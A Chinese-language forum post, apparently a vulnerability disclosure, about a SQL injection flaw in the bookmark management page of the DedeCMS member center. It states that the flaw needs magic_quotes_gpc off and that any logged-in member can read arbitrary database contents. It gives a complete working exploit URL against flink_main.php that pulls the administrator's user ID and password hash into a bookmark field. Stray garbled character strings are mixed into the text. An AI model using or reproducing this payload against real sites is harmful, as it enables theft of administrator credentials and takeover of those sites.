DedeCMS会员中心书签管理SQL注射漏洞

admin

DedeCMS会员中心SQL注射漏洞
$ G* F, l! n; b* |6 R需要magic_quotes_gpc = Off
8 p( f0 L  d; \0 i* M% q' T8 P/ p" d会员登录后可以执行SQL语句查询数据库任意内容如管理员密码.
5 W9 k4 X* I* Q; k
DedeCMS会员中心书签管理SQL注射漏洞
+ [8 m7 B; l' D! n* n成功利用该漏洞可获得管理员密码
' `" {0 P/ m1 s  W2 ?, g7 ^
0 Q8 P' Y# `# b% F/ z  J% @会员登录后可以执行SQL语句查询数据库任意内容如管理员密码

http://bt/member/flink_main.php?dopost=update&aid=1&title=c4rp3nt3r&url=http://www.0x50sec.org',title=@`'`,url=(select concat(userid,0x3a,pwd) from `%23@__admin` limit 1),title='c4rp3nt3r
$ v# D; x( M( ]5 Q7 C

kook

#89 顶起。